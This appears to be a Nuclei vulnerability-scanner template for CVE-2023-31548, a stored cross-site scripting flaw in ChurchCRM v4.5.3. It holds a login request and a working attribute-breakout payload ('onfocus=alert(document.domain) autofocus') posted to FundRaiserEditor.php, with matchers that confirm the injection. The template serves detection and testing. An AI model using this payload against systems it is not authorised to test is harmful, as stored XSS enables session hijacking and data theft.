CVE-2023-31548: ChurchCRM v4.5.3 - Cross-Site Scripting

id: CVE-2023-31548

info:
  name: ChurchCRM v4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-31548
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31548
    - https://github.com/10splayaSec/CVE-Disclosures
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-31548
    cwe-id: CWE-79
    epss-score: 0.19158
    epss-percentile: 0.95141
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        FundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=\"alert(document.domain)\" autofocus=\"\"></td>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and
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